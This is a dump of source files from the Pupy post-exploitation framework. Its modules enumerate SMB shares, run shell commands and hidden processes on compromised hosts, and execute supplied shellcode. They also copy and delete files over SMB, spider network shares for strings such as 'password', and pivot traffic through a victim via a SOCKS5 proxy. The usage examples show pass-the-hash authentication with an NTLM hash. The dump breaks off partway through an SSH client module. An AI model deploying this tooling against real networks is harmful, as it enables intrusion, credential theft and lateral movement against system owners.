    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyOutput import Table\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom netaddr import IPNetwork\n\n__class_name__=\"Shares\"\n\n@config(category=\"admin\", compat=[\"windows\", \"linux\"])\nclass Shares(PupyModule):\n    \"\"\" List local and remote shared folder and permission \"\"\"\n\n    dependencies = {\n        'windows': [\n            'win32api', 'win32com', 'pythoncom',\n            'winerror', 'wmi', 'pupwinutils.drives',\n        ],\n        'all': [\n            'impacket', 'calendar', 'pupyutils.share_enum'\n        ]\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        example = 'Examples:\\n'\n        example += '>> run shares local\\n'\n        example += '>> run shares remote -u john -p password1 -d DOMAIN -t 192.168.0.1\\n'\n        example += '>> run shares remote -u john -H \\'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d\\' -t 192.168.0.1\\n'\n\n        cls.arg_parser = PupyArgumentParser(prog=\"shares\", description=cls.__doc__, epilog=example)\n        subparsers = cls.arg_parser.add_subparsers(title='Enumerate shared folders')\n\n        local = subparsers.add_parser('local', help='Retrieve local shared folders')\n        local.set_defaults(local=\"list_shared_folders\")\n\n        remote = subparsers.add_parser('remote', help='Retrieve remote shared folders and permission')\n        remote.add_argument(\"-u\", metavar=\"USERNAME\", dest='user', default='', help=\"Username, if omitted null session assumed\")\n        remote.add_argument(\"-p\", metavar=\"PASSWORD\", dest='passwd', default='', help=\"Password\")\n        remote.add_argument(\"-H\", metavar=\"HASH\", dest='hash', default='', help='NTLM hash')\n        remote.add_argument(\"-d\", metavar=\"DOMAIN\", dest='domain', default=\"WORKGROUP\", help=\"Domain name (default WORKGROUP)\")\n        remote.add_argument(\"-P\", dest='port', type=int, choices={139, 445}, default=445, help=\"SMB port (default 445)\")\n        remote.add_argument(\"-t\", dest='target', type=str, default=None, help=\"The target range or CIDR identifier\")\n\n\n    def run(self, args):\n\n        # Retrieve local shared folders\n        if args.local:\n            if self.client.is_windows():\n                shared_folders = self.client.remote('pupwinutils.drives', 'shared_folders')\n\n                folders = shared_folders()\n                if not folders:\n                    return\n\n                self.log(Table([{\n                    'Name': share_name,\n                    'Path': share_path\n                } for share_name, share_path in folders], ['Name', 'Path']))\n\n            else:\n                self.warning('this module works only for windows. Try using: run shares remote -t 127.0.0.1')\n            return\n\n\n        # Retrieve remote shared folders\n        if not args.target:\n            self.error(\"target (-t) parameter must be specify\")\n            return\n\n        if \"/\" in args.target:\n            hosts = IPNetwork(args.target)\n        else:\n            hosts = list()\n            hosts.append(args.target)\n\n        connect = self.client.remote('pupyutils.share_enum', 'connect')\n\n        for host in hosts:\n            result = connect(\n                str(host), args.port, args.user,\n                args.passwd, args.hash, args.domain)\n\n            if 'error' in result:\n                if 'os' in result:\n                    self.error('{}:{} OS={} NAME={}: {}'.format(\n                        host, args.port, result['os'], result['name'], result['error']))\n                else:\n                    self.error('{}:{}: {}'.format(\n                        host, args.port, result['error']))\n            else:\n                self.success('{}:{} OS=[{}] NAME=[{}] AUTH={}'.format(\n                    host, args.port, result['os'], result['name'], result['auth']))\n                shares = [{\n                    'SHARE': x[0],\n                    'ACCESS': x[1]\n                } for x in result['shares']]\n\n                self.table(shares, ['SHARE', 'ACCESS'])\n"
  },
  {
    "path": "pupy/modules/shell_exec.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom argparse import REMAINDER\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__ = 'ShellExec'\n\n\n@config(cat=\"admin\")\nclass ShellExec(PupyModule):\n    \"\"\" execute shell commands on a remote system \"\"\"\n\n    dependencies = {\n        'all': ['pupyutils.safepopen'],\n        'windows': ['pupwinutils.processes']\n    }\n\n    terminate = None\n    interrupted = False\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='shell_exec', description=cls.__doc__)\n        cls.arg_parser.add_argument('-X', '--no-shell', action='store_true', help='Do not execute command in shell')\n        cls.arg_parser.add_argument('-S', '--set-uid', help='Set UID for user (posix only)')\n        cls.arg_parser.add_argument('-H', '--hide', action='store_true', help='Launch process on background '\n                                                                              '(only for windows)')\n        cls.arg_parser.add_argument('-c', '--codepage', default=None, help='decode using codepage')\n        cls.arg_parser.add_argument(\n            'argument',\n            nargs=REMAINDER,\n            help='shell command')\n\n    def run(self, args):\n        if not args.hide:\n            check_output = self.client.remote('pupyutils.safepopen', 'check_output', False)\n\n            cmdline = tuple(args.argument)\n            if not args.no_shell:\n                cmdline = ' '.join(cmdline)\n\n            try:\n                self.terminate, get_data = check_output(\n                    cmdline, shell=not args.no_shell, encoding=args.codepage, suid=args.set_uid)\n            except Exception as e:\n                self.error(\n                    ' '.join(x for x in e.args if isinstance(x, basestring))\n                )\n\n                return\n\n            data, code = get_data()\n            data = data.strip()\n            if not data and self.interrupted:\n                return\n\n            if code:\n                if data:\n                    self.log(data)\n                self.error('Error code: {}'.format(code))\n            else:\n                if not data:\n                    data = '[ NO OUTPUT ]'\n                self.log(data)\n\n        elif args.hide and self.client.is_windows():\n            try:\n                start_hidden_process = self.client.remote(\n                    'pupwinutils.processes', 'start_hidden_process'\n                )\n                pid = start_hidden_process(args.argument)\n                self.success('Process created with pid %s' % pid)\n\n            except Exception as e:\n                self.error('Error creating the process: %s' % e)\n        else:\n            self.error('--hide option works only for Windows hosts')\n\n    def interrupt(self):\n        if self.interrupted:\n            return\n\n        if self.terminate:\n            self.interrupted = True\n            self.terminate()\n"
  },
  {
    "path": "pupy/modules/shellcode_exec.py",
    "content": "# -*- coding: utf-8 -*-\n\n'''\nModule by @byt3bl33d3r\n'''\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom io import open\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"ShellcodeExec\"\n\n@config(cat=\"exploit\", compat=\"windows\")\nclass ShellcodeExec(PupyModule):\n    \"\"\" executes the supplied shellcode on a client \"\"\"\n\n    dependencies = ['pupwinutils.shellcode']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='shellcode_exec', description=cls.__doc__)\n        cls.arg_parser.add_argument('path', help='Path to the shellcode to execute')\n\n    def run(self, args):\n        with open(args.path, 'rb') as sfile:\n            shellcode = sfile.read()\n            self.client.conn.modules['pupwinutils.shellcode'].exec_shellcode(shellcode)\n    \n        self.log('Shellcode executed!')\n"
  },
  {
    "path": "pupy/modules/smb.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nimport sys\nimport ntpath\n\nfrom io import open\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Table\nfrom pupy.pupylib.utils.rpyc_utils import obtain\n\n\nif sys.version_info.major > 2:\n    from io import BytesIO\nelse:\n    import StringIO as BytesIO\n\n__class_name__ = 'SMB'\n\n\nclass SMBError(Exception):\n    pass\n\n\n@config(cat=\"admin\")\nclass SMB(PupyModule):\n    ''' Copy files via SMB protocol '''\n\n    max_clients = 1\n    dependencies = [\n        'unicodedata', 'idna', 'encodings.idna',\n        'impacket', 'pupyutils.psexec'\n    ]\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='smb', description=cls.__doc__\n        )\n        cls.arg_parser.add_argument(\n            '-u', '--username', default='', help='Username'\n        )\n        cls.arg_parser.add_argument(\n            '-P', '--port', default=445, type=int, help='Port'\n        )\n        cls.arg_parser.add_argument(\n            '-p', '--password', default='', help='Password'\n        )\n        cls.arg_parser.add_argument(\n            '-d', '--domain', default='', help='Domain'\n        )\n        cls.arg_parser.add_argument(\n            '-H', '--hash', default='', help='NTLM hash'\n        )\n        cls.arg_parser.add_argument(\n            '-T', '--timeout', default=30, type=int, help='Timeout'\n        )\n        cls.arg_parser.add_argument(\n            '-c', '--codepage', default=None, help='Codepage'\n        )\n\n        cls.arg_parser.set_defaults(func=cls.help)\n\n        commands = cls.arg_parser.add_subparsers(dest=\"command\")\n\n        cache = commands.add_parser('cache')\n        cache.add_argument(\n            'command', choices=('get', 'enable', 'disable', 'clear')\n        )\n        cache.set_defaults(func=cls.cache)\n\n        cp = commands.add_parser('cp')\n        cp.add_argument('src', help='Source')\n        cp.add_argument('dst', help='Destination')\n        cp.set_defaults(func=cls.cp)\n\n        ls = commands.add_parser('ls')\n        ls.add_argument('dst', help='Destination')\n        ls.set_defaults(func=cls.ls)\n\n        cat = commands.add_parser('cat')\n        cat.add_argument('remote', help='Remote file (be careful!)')\n        cat.set_defaults(func=cls.cat)\n\n        rm = commands.add_parser('rm')\n        rm.add_argument('dst', help='Destination')\n        rm.set_defaults(func=cls.rm)\n\n        mkdir = commands.add_parser('mkdir')\n        mkdir.add_argument('dst', help='Destination')\n        mkdir.set_defaults(func=cls.mkdir)\n\n        rmdir = commands.add_parser('rmdir')\n        rmdir.add_argument('dst', help='Destination')\n        rmdir.set_defaults(func=cls.rmdir)\n\n        shares = commands.add_parser('shares')\n        shares.add_argument('host', help='Host')\n        shares.set_defaults(func=cls.shares)\n\n    def run(self, args):\n        args.func(self, args)\n        # try:\n        #     args.func(self, args)\n        # except SMBError, e:\n        #     self.error(str(e))\n\n    def help(self, args):\n        self.log(self.arg_parser.format_usage())\n\n    def cache(self, args):\n        if args.command in ('enable', 'disable'):\n            set_use_cache = self.client.remote(\n                'pupyutils.psexec', 'set_use_cache', False\n            )\n\n            set_use_cache(args.command == 'enable')\n\n        elif args.command == 'get':\n            get_cache = self.client.remote(\n                'pupyutils.psexec', 'get_cache', False\n            )\n\n            try:\n                cache = get_cache()\n                self.log(Table([{\n                    'Host': host, 'User': user or '', 'Domain': domain or ''\n                } for host, user, _, domain, _, _, _, _ in cache], [\n                    'Host', 'User', 'Domain'\n                ]))\n            except Exception as e:\n                self.error(e)\n\n        elif args.command == 'clear':\n            clear_session_caches = self.client.remote(\n                'pupyutils.psexec', 'clear_session_caches', False\n            )\n            clear_session_caches()\n\n    def get_ft(self, args, host):\n        create_filetransfer = self.client.remote(\n            'pupyutils.psexec', 'create_filetransfer', False)\n\n        connection = None\n        error = None\n\n        connection, error = create_filetransfer(\n            host, args.port,\n            args.username, args.domain,\n            args.password, args.hash,\n            timeout=args.timeout\n        )\n\n        if error:\n            raise SMBError(error)\n\n        return connection\n\n    def shares(self, args):\n        host = args.host\n        host = host.replace('\\\\', '//')\n        if host.startswith('//'):\n            host = host[2:]\n\n        ft = self.get_ft(args, host)\n        if not ft.ok:\n            self.error(ft.error)\n            return\n\n        for share in obtain(ft.shares()):\n            self.log(share)\n\n        if not ft.ok:\n            self.error(ft.error)\n\n    def parse_netloc(self, line, partial=False, codepage=None):\n        line = line.replace('\\\\', '/')\n        if not line.startswith('//'):\n            raise ValueError('Invalid network format')\n\n        if codepage:\n            line = line.encode(codepage, errors='replace')\n\n        remote = line[2:].split('/')\n\n        if partial:\n            if len(remote) == 0:\n                raise ValueError('Empty network specification')\n\n            if not (remote[0]):\n                raise ValueError('Host is empty')\n\n            host = remote[0]\n            if len(remote) > 1:\n                share = remote[1]\n            else:\n                share = ''\n\n            if len(remote) > 2:\n                path = ntpath.normpath('\\\\'.join(remote[2:]))\n                if remote[-1] == '':\n                    path += '\\\\'\n            else:\n                path = ''\n\n            return host, share, path\n\n        else:\n            if len(remote) < 3 or not all(remote[:2]):\n                raise ValueError('Invalid network format')\n\n            return remote[0], remote[1], ntpath.normpath('\\\\'.join(remote[2:]))\n\n    def ls(self, args):\n        try:\n            host, share, path = self.parse_netloc(\n                args.dst, partial=True, codepage=args.codepage\n            )\n        except Exception as e:\n            self.error(e)\n            return\n\n        if not share:\n            args.host = host\n            self.shares(args)\n            return\n\n        if not path or path == '.' or path.endswith('\\\\'):\n            path += '*'\n\n        ft = self.get_ft(args, host)\n        if not ft.ok:\n            self.error(ft.error)\n            return\n\n        for name, directory, size, ctime in obtain(ft.ls(share, path)):\n            if isinstance(name, bytes):\n                if args.codepage:\n                    name = name.decode(args.codepage, errors='replace')\n                else:\n                    name = name.decode('utf-8', errors='replace')\n\n            self.log(u'%crw-rw-rw- %10d  %s %s' % (\n                'd' if directory > 0 else '-', size,\n                ctime, name))\n\n        if not ft.ok:\n            self.error(ft.error)\n\n    def rm(self, args):\n        try:\n            host, share, path = self.parse_netloc(\n                args.dst, codepage=args.codepage\n            )\n        except Exception as e:\n            self.error(str(e))\n            return\n\n        ft = self.get_ft(args, host)\n        if not ft.ok:\n            self.error(ft.error)\n            return\n\n        ft.rm(share, path)\n        if not ft.ok:\n            self.error(ft.error)\n\n    def mkdir(self, args):\n        try:\n            host, share, path = self.parse_netloc(\n                args.dst, codepage=args.codepage\n            )\n        except Exception as e:\n            self.error(str(e))\n            return\n\n        ft = self.get_ft(args, host)\n        if not ft.ok:\n            self.error(ft.error)\n            return\n\n        ft.mkdir(share, path)\n        if not ft.ok:\n            self.error(ft.error)\n\n    def rmdir(self, args):\n        try:\n            host, share, path = self.parse_netloc(\n                args.dst, codepage=args.codepage\n            )\n        except Exception as e:\n            self.error(str(e))\n            return\n\n        ft = self.get_ft(args, host)\n        if not ft.ok:\n            self.error(ft.error)\n            return\n\n        ft.rmdir(share, path)\n        if not ft.ok:\n            self.error(ft.error)\n\n    def cp(self, args):\n        upload = False\n        src = args.src.replace('\\\\', '/')\n        dst = args.dst.replace('\\\\', '/')\n        if dst.startswith('//'):\n            upload = True\n            remote = dst\n            local = src\n        elif src.startswith('//'):\n            remote = src\n            local = dst\n        else:\n            self.error(\n                'Either src or dst should be network '\n                r'share in (\\\\HOST\\SHARE\\PATH) format'\n            )\n            return\n\n        try:\n            host, share, path = self.parse_netloc(\n                remote, codepage=args.codepage\n            )\n        except Exception as e:\n            self.error(e)\n            return\n\n        local = os.path.expandvars(local)\n        local = os.path.expanduser(local)\n\n        ft = self.get_ft(args, host)\n\n        if not ft.ok:\n            self.error(ft.error)\n            return\n\n        if upload:\n            if upload and not os.path.isfile(local):\n                self.warning(\n                    'Source file {} not found, '\n                    'try upload remote file'.format(local)\n                )\n                ft.put(local, share, path)\n            else:\n                with open(local, 'rb') as source:\n                    ft.put(source.read, share, path)\n        else:\n            with open(local, 'wb') as destination:\n                ft.get(share, path, destination.write)\n\n        if not ft.ok:\n            self.error(ft.error)\n\n    def cat(self, args):\n        try:\n            host, share, path = self.parse_netloc(\n                args.remote, codepage=args.codepage\n            )\n        except Exception as e:\n            self.error(e)\n            return\n\n        ft = self.get_ft(args, host)\n        if not ft.ok:\n            self.error(ft.error)\n            return\n\n        memobj = BytesIO()\n        ft.get(share, path, memobj.write)\n\n        if ft.ok:\n            data = memobj.getvalue()\n            if args.codepage:\n                try:\n                    data = data.decode(args.codepage)\n                except:\n                    pass\n\n            self.log(data)\n        else:\n            self.error(ft.error)\n"
  },
  {
    "path": "pupy/modules/smbspider.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom netaddr import IPNetwork\nfrom pupy.pupylib.utils.term import colorize\nimport os\n\n__class_name__=\"SMBSpider\"\n\n@config(cat=\"admin\")\nclass SMBSpider(PupyModule):\n\n    \"\"\" walk through a smb directory and recursively search a string into files \"\"\"\n\n    dependencies = [\n        'impacket', 'calendar', 'ntpath', 'pupyutils.smbspider'\n    ]\n\n    daemon=True\n    max_clients=1\n\n    @classmethod\n    def init_argparse(cls):\n\n        example = 'Examples:\\n'\n        example += '>> run smbspider 192.168.0.1 --pattern password --content\\n'\n        example += '>> run smbspider 192.168.0.1 -u john -p password1 pwd= -d WORKGROUP --content -e txt,ini\\n'\n        example += '>> run smbspider 172.16.0.20/24 -u john --pattern password.* -H \\'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d\\'\\n'\n\n        cls.arg_parser = PupyArgumentParser(prog=\"smbspider\", description=cls.__doc__, epilog=example)\n        cls.arg_parser.add_argument(\"-u\", metavar=\"USERNAME\", dest='user', default='', help=\"Username, if omitted null session assumed\")\n        cls.arg_parser.add_argument(\"-p\", metavar=\"PASSWORD\", dest='passwd', default='', help=\"Password\")\n        cls.arg_parser.add_argument(\"-H\", metavar=\"HASH\", dest='hash', default='', help='NTLM hash')\n        cls.arg_parser.add_argument(\"-d\", metavar=\"DOMAIN\", dest='domain', default=\"WORKGROUP\", help=\"Domain name (default WORKGROUP)\")\n        cls.arg_parser.add_argument(\"-P\", dest='port', type=int, choices={139, 445}, default=445, help=\"SMB port (default 445)\")\n        cls.arg_parser.add_argument(\"target\", nargs=1, type=str, help=\"Target range or IP address\")\n\n        sgroup = cls.arg_parser.add_argument_group(\"Spidering shares\", \"Options for spidering shares\")\n        sgroup.add_argument(\"-s\", metavar=\"SHARE\", dest='share', default=\"all\", help=\"Specify a share (default C$)\")\n        sgroup.add_argument(\"--spider\", metavar='FOLDER', nargs='?', default='.', type=str, help='Folder to spider (default: root directory)')\n        sgroup.add_argument(\"--content\", action='store_true', help='Enable file content searching')\n        sgroup.add_argument(\"--pattern\", nargs='+', help='Pattern(s) to search for in folders, filenames and file content')\n        sgroup.add_argument('-e','--extensions',metavar='ext1,ext2,...', default='', help='Limit to some extensions')\n        sgroup.add_argument(\"--depth\", type=int, default=10, help='Spider recursion depth (default: 10)')\n        sgroup.add_argument('-m','--max-size', type=int, default=7000000, help='max file size in byte (default 7 Mo)')\n\n    def run(self, args):\n\n        if \"/\" in args.target[0]:\n            hosts = IPNetwork(args.target[0])\n        else:\n            hosts = [args.target[0]]\n\n        if not args.pattern:\n            self.error('Specify the pattern to look for')\n            return\n\n        if args.extensions:\n            args.extensions = tuple(f.strip() for f in args.extensions.split(','))\n\n        # if not extension is provided for find commad, try to extract it to gain time during the research\n        elif not args.content:\n            args.extensions = tuple(os.path.splitext(s)[1].strip() for s in args.pattern)\n\n        search_str = [s.lower() for s in args.pattern]\n\n        self.info(\"Search started\")\n        smb = self.client.conn.modules[\"pupyutils.smbspider\"].Spider(hosts, args.domain, args.port, args.user, args.passwd, args.hash, args.content, args.share, search_str, args.extensions, args.max_size, args.spider, args.depth)\n        for files in smb.spider_all_hosts():\n            # add color\n            for s in search_str:\n                if s in files:\n                    files = files.replace(s, colorize(s,\"green\"))\n            self.success(\"%s\" % files)\n        self.info(\"Search finished !\")\n"
  },
  {
    "path": "pupy/modules/socks5proxy.py",
    "content": "# -*- coding: utf-8 -*-\n\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\n#RFC @https://www.ietf.org/rfc/rfc1928.txt\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser,\n    QA_UNSTABLE\n)\n\nimport sys\nimport threading\nimport socket\nimport logging\nimport struct\nimport traceback\nimport time\n\nif sys.version_info.major > 2:\n    from socketserver import (\n        BaseRequestHandler, TCPServer,\n        ThreadingMixIn\n    )\nelse:\n    from SocketServer import (\n        BaseRequestHandler, TCPServer,\n        ThreadingMixIn\n    )\n\n__class_name__ = 'Socks5Proxy'\n\nCODE_SUCCEEDED = b'\\x00'\nCODE_GENERAL_SRV_FAILURE = b'\\x01'\nCODE_CONN_NOT_ALLOWED = b'\\x02'\nCODE_NET_NOT_REACHABLE = b'\\x03'\nCODE_HOST_UNREACHABLE = b'\\x04'\nCODE_CONN_REFUSED = b'\\x05'\nCODE_TTL_EXPIRED = b'\\x06'\nCODE_COMMAND_NOT_SUPPORTED = b'\\x07'\nCODE_ADDRESS_TYPE_NOT_SUPPORTED = b'\\x08'\nCODE_UNASSIGNED = b'\\x09'\n\n\nclass SocketPiper(threading.Thread):\n    def __init__(self, read_sock, write_sock):\n        threading.Thread.__init__(self)\n        self.daemon=True\n        self.read_sock=read_sock\n        self.write_sock=write_sock\n\n    def run(self):\n        try:\n            self.read_sock.setblocking(0)\n            while True:\n                data = ''\n                try:\n                    data += self.read_sock.recv(1000000)\n                    if not data:\n                        break\n                except Exception as e:\n                    if e[0] == 9: #errno connection closed\n                        break\n                    if not data:\n                        time.sleep(0.05)\n                    continue\n                self.write_sock.sendall(data)\n\n        except Exception as e:\n            logging.debug(\"error in socket piper: %s\", traceback.format_exc())\n\n        finally:\n            try:\n                self.write_sock.shutdown(socket.SHUT_RDWR)\n            except:\n                pass\n            try:\n                self.write_sock.close()\n            except:\n                pass\n            try:\n                self.read_sock.shutdown(socket.SHUT_RDWR)\n            except:\n                pass\n            try:\n                self.read_sock.close()\n            except:\n                pass\n        logging.debug(\"piper finished\")\n\n\nclass Socks5RequestHandler(BaseRequestHandler):\n    def _socks_response(self, code, terminate=False):\n        ip=\"\".join([chr(int(i)) for i in self.server.server_address[0].split(\".\")])\n        port=struct.pack(\"!H\",self.server.server_address[1])\n        self.request.sendall(b\"\\x05\"+code+b\"\\x00\"+b\"\\x01\"+ip+port)\n        if terminate:\n            try:\n                self.request.shutdown(socket.SHUT_RDWR)\n            except:\n                pass\n            try:\n                self.request.close()\n            except:\n                pass\n\n\n    def handle(self):\n        self.request.settimeout(5)\n        VER = self.request.recv(1)\n        NMETHODS = self.request.recv(1)\n\n        self.request.recv(int(struct.unpack(\"!B\",NMETHODS)[0]))\n\n        \"\"\"\n        o  X'00' NO AUTHENTICATION REQUIRED\n        o  X'01' GSSAPI\n        o  X'02' USERNAME/PASSWORD\n        o  X'03' to X'7F' IANA ASSIGNED\n        o  X'80' to X'FE' RESERVED FOR PRIVATE METHODS\n        o  X'FF' NO ACCEPTABLE METHODS\n        \"\"\"\n\n        #for now only no authentication is supported :\n        self.request.sendall(b\"\\x05\\x00\")\n        VER=self.request.recv(1)\n        if VER!=b\"\\x05\":\n            self.server.module.error(\"receiving unsuported socks version: %s\"%VER.encode('hex'))\n            self._socks_response(CODE_GENERAL_SRV_FAILURE, terminate=True)\n            return\n\n        CMD=self.request.recv(1)\n        if CMD!=b\"\\x01\": # we only support CONNECT for now\n            self.server.module.error(\"receiving unsuported socks CMD: %s\"%CMD.encode('hex'))\n            self._socks_response(CODE_COMMAND_NOT_SUPPORTED, terminate=True)\n            return\n\n        self.request.recv(1)\n\n        DST_ADDR=None\n        DST_PORT=None\n        ATYP=self.request.recv(1)\n        if ATYP==b\"\\x01\":\n            DST_ADDR=\".\".join([str(ord(x)) for x in self.request.recv(4)])\n            DST_PORT=struct.unpack(\"!H\",self.request.recv(2))[0]\n        elif ATYP==b\"\\x03\":\n            DOMAIN_LEN=int(struct.unpack(\"!B\",self.request.recv(1))[0])\n            DST_ADDR=self.request.recv(DOMAIN_LEN)\n            DST_PORT=struct.unpack(\"!H\",self.request.recv(2))[0]\n        else: #TODO: ipv6\n            self.server.module.error(\"atyp not supported: %s\"%ATYP.encode('hex'))\n            self._socks_response(CODE_ADDRESS_TYPE_NOT_SUPPORTED, terminate=True)\n            return\n\n        #now we have all we need, we can open the socket proxyfied through rpyc :)\n        self.server.module.info(\"connecting to %s:%s ...\"%(DST_ADDR,DST_PORT))\n        rsocket_mod=self.server.rpyc_client.conn.modules.socket\n        rsocket=rsocket_mod.socket(rsocket_mod.AF_INET,rsocket_mod.SOCK_STREAM)\n        rsocket.settimeout(5)\n        try:\n            rsocket.connect((DST_ADDR, DST_PORT))\n        except Exception as e:\n            self.server.module.error(\"error %s connecting to %s:%s ...\"%(str(e),DST_ADDR,DST_PORT))\n            if e[0]==10060:\n                self._socks_response(CODE_HOST_UNREACHABLE, terminate=True)\n            else:\n                self._socks_response(CODE_NET_NOT_REACHABLE, terminate=True)\n            return\n        self._socks_response(CODE_SUCCEEDED)\n        self.server.module.success(\"connection to %s:%s succeed !\"%(DST_ADDR,DST_PORT))\n\n        #self.request.settimeout(30)\n        #rsocket.settimeout(30)\n\n        sp1=SocketPiper(self.request, rsocket)\n        sp2=SocketPiper(rsocket, self.request)\n        sp1.start()\n        sp2.start()\n        sp1.join()\n        sp2.join()\n        self.server.module.info(\"conn to %s:%s closed\"%(DST_ADDR,DST_PORT))\n\nclass Socks5Server(TCPServer):\n    allow_reuse_address = True\n\n    def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True, rpyc_client=None, module=None):\n        self.rpyc_client=rpyc_client\n        self.module=module\n        TCPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate)\n\nclass ThreadedSocks5Server(ThreadingMixIn, Socks5Server):\n    pass\n\n@config(cat=\"network\", tags=[\"pivot\", \"proxy\"])\nclass Socks5Proxy(PupyModule):\n    \"\"\" start a socks5 proxy going through a client \"\"\"\n    max_clients=1\n    unique_instance=True\n    daemon=True\n    server=None\n\n    qa = QA_UNSTABLE\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='socks5proxy', description=cls.__doc__)\n        cls.arg_parser.add_argument('-p', '--port', default='1080')\n        cls.arg_parser.add_argument('action', choices=['start','stop'])\n\n    def stop_daemon(self):\n        self.success(\"shuting down socks server ...\")\n        if self.server:\n            self.server.shutdown()\n            del self.server\n            self.success(\"socks server shut down\")\n        else:\n            self.error(\"server is None\")\n\n    def run(self, args):\n        if args.action==\"start\":\n            if self.server is None:\n                self.success(\"starting server ...\")\n                self.server = ThreadedSocks5Server((\"127.0.0.1\", int(args.port)), Socks5RequestHandler, rpyc_client=self.client, module=self)\n                t=threading.Thread(target=self.server.serve_forever)\n                t.daemon=True\n                t.start()\n                self.success(\"socks5 server started on 127.0.0.1:%s\"%args.port)\n            else:\n                self.error(\"socks5 server is already started !\")\n        elif args.action==\"stop\":\n            if self.server:\n                self.job.stop()\n                del self.job\n                self.success(\"socks5 server stopped !\")\n            else:\n                self.error(\"socks5 server is already stopped\")\n"
  },
  {
    "path": "pupy/modules/ssh.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser, REQUIRE_STREAM\nfrom pupy.pupylib.PupyCompleter import path_completer\nfrom pupy.pupylib.PupyOutput import Table, Color\n\nfrom io import open\nfrom os import path, makedirs, unlink, walk, stat\nfrom stat import S_ISDIR\nfrom errno import EEXIST\n\nfrom threading import Event\nfrom argparse import REMAINDER\n\n__class_name__=\"SSH\"\n\n\n@config(cat='admin')\nclass SSH(PupyModule):\n    \"\"\" ssh client \"\"\"\n\n    dependencies = [\n        'nacl', 'bcrypt', 'ecdsa',\n        'cryptography', 'paramiko', 'ssh',\n        'puttykeys'\n    ]\n\n    closer = None\n    waiter = None\n    pkeys = None\n\n    current_connection_info = {}\n\n    io = REQUIRE_STREAM\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='ssh', description=cls.__doc__)\n        cls.arg_parser.set_defaults(func=False)\n        cls.arg_parser.add_argument('-T', '--timeout',\n                                    type=int, default=30, help='Set communication timeout (default=30s)')\n        cls.arg_parser.add_argument('-u', '--user', help='Use user name')\n        cls.arg_parser.add_argument('-p', '--port', help='Use port')\n        cls.arg_parser.add_argument('-P', '--password', default=[], action='append',\n                                    help='SSH auth password (may be specified many times)')\n        cls.arg_parser.add_argument('-KP', '--key-password', default=[], action='append',\n                                    help='SSH key password (may be specified many times)')\n        cls.arg_parser.add_argument('-k', '--private-keys', help='Use private keys (Use \",\" as path separator)',\n                                    completer=path_completer)\n\n        commands = 